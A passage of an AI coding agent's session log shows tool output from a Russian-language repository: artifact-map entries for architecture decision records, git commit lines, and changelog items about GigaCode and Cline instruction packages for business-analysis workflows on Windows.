\u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f; \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 (ADR-013) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0434\u0435\u043b\u0438\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10/10, `oneshot` 0/9), \u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab`oneshot` \u21d2 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e (9/9 `oneshot` \u0438\u043c\u0435\u044e\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c). \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015 (\u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `SB-1`), \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 ADR-013. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`, `projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md` |\\n111:| `/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | Accepted ADR \u0434\u043b\u044f issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595) \u0438 [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599): \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback`, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process) \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0438 rationale, \u0447\u0438\u0441\u0442\u044b\u0435 `execution-package-` \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e allowlist \u0441 provenance, \u0430 runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0435\u043d \u043e\u0442 Source. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0432 project-scoped `decisions/`; \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `dist/`, `tests/` \u0438 `experiments/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 `ba-meta-model` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 `scope: mango-only` \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0438\u043b\u0438 \u0434\u043e\u043c\u0435\u043d\u0435. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | [\u0442\u0435\u043a\u0443\u0449\u0438\u0439 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), [Research Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango), [AI Education](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), [\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md), [ADR Structure Standard](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/adr-structure-standard.md) |\\necb1d94 Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\\neda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n CHANGELOG.md | 2 +-\\n 1 file changed, 1 insertion(+), 1 deletion(-)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n CHANGELOG.md | 2 +-\\n 1 file changed, 1 insertion(+), 1 deletion(-)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\n CHANGELOG.md | 1 +\\n 1 file changed, 1 insertion(+)\\n397afed docs(education): explain Cline MCP and validation boundaries\\n ops/artifact-map.md | 5 +++--\\n 1 file changed, 3 insertions(+), 2 deletions(-)\",\n[2026-09-29T07:59:55.471Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:55.471Z] [INFO]       }\n[2026-09-29T07:59:55.471Z] [INFO]     ]\n[2026-09-29T07:59:55.471Z] [INFO]   },\n[2026-09-29T07:59:55.471Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:55.471Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"uuid\": \"301d85be-6a8e-46f9-8389-d9beacf6b757\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:55.430Z\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:55.471Z] [INFO]     \"stdout\": \"---\\nstatus: canonical\\nversion: 2.11\\nupdated: 2026-09-28\\ntemperature: 0.1\\n---\\n\\n# Changelog\\n\\nAll notable repository governance changes are documented here.\\n\\n## Unreleased\\n\\n### Added\\n\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439](projects/ba-ai-process/dist/execution-package-gigacode-cli/docs/guides/README.md) \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 (issue [#638](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/638)): \u043e\u0431\u0437\u043e\u0440 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 GigaCode CLI, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c Python \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0431\u0430\u0437\u043e\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 `docs/kb/`, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d `TASK-0001` \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c A-IN, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435\u043c Working \u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0443\u0437\u043b\u0430\u043c `RG-BCREQ-v1` \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0443\u0437\u043b\u043e\u0432 \u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u043c\u0438 runner. \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64): \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 PowerShell, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 BOM, \u043a\u043b\u043e\u043d \u0441 `core.autocrlf` \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `.git` \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043b\u043e\u043c\u0430\u044e\u0442 `G-mach`. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-2\u2026\u041e-10 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221; \u043d\u043e\u0432\u044b\u0439 `test_guides.py` \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0431\u043b\u043e\u043a\u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432 Windows PowerShell 5.1 \u0438 PowerShell 7 (CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0432\u0441\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n- projects: [\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u0430 \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 BCREQ (issue [#636](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/636)): \u0441\u0442\u0430\u0440\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430 Jira \u0438\u043b\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0443\u044e \u0444\u0440\u0430\u0437\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 Plan, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u043c\u043e\u0434\u0435\u043b\u0438 (\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, hooks \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 Windows, \u043d\u0435\u0442 skills \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0442\u043b\u0430\u0434\u043a\u0438) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-1\u2026\u041e-5 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-198\u2026B-202; \u0442\u0435\u0441\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0435\u0433\u043e \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) (issue [#628](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/628)): \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0431\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 KB \u0438\u0437 `mango-ba-ai-runtime/docs/kb`, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c trace, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u0430\u043f\u043e\u043a, \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 Windows 10/11 x64; \u043f\u0430\u043a\u0435\u0442 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 Source.\\n- projects: \u043f\u0440\u0438\u043d\u044f\u0442\u0430 [ADR-017 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `ba-ai-process`: Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f (issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595), [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)). Source \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d \u0432 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process); project-scoped ADR \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d \u0432 `decisions/`, tests \u0438 experiments \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0430 GigaCode CLI Distribution \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 `dist/`. Package manifest \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 Source revision, adapter, allowlist \u0438 SHA-256 immutable-\u0432\u044b\u0445\u043e\u0434\u043e\u0432; negative gate \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 RRP, ADR/RFC, backlog \u0438 \u043f\u0440\u043e\u0447\u0438\u0439 Source rationale. \u0412\u043d\u0435\u0448\u043d\u0435\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0438 runtime smoke test \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 B-179.\\n- projects: [\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0441 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439](docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) (issue #587) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f issue #577 \u043f\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `conditional`: \u043f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80% \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u0430\u044f. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u2014 [`exp/ba-meta-model-cross-check-587/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md): \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 (\u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443), \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a `research/ai-education` \u2014 \u0434\u0432\u0430 \u043c\u043e\u0434\u0443\u043b\u044f \u0438\u0437 \u0434\u0435\u0441\u044f\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 `C-IN`/`C-OUT` \u2014 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 1059 \u0438 975. \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 **\u0431\u0435\u0437** \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u044d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0432\u0435\u0440\u043a\u0438 \u00ab\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u00bb \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e, \u0433\u0434\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043b\u0438 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n- projects: [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432](projects/ba-ai-process/ba-meta-model/20-taxonomy.md) `ST-1-ATTACHED`, `ST-2-CORPUS`, `ST-3-PRODUCT-DOC`, `ST-4-HUMAN` \u0441 \u0444\u043e\u0440\u043c\u0430\u043c\u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 `EF-INLINE`/`EF-QUOTE`, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f, \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0438 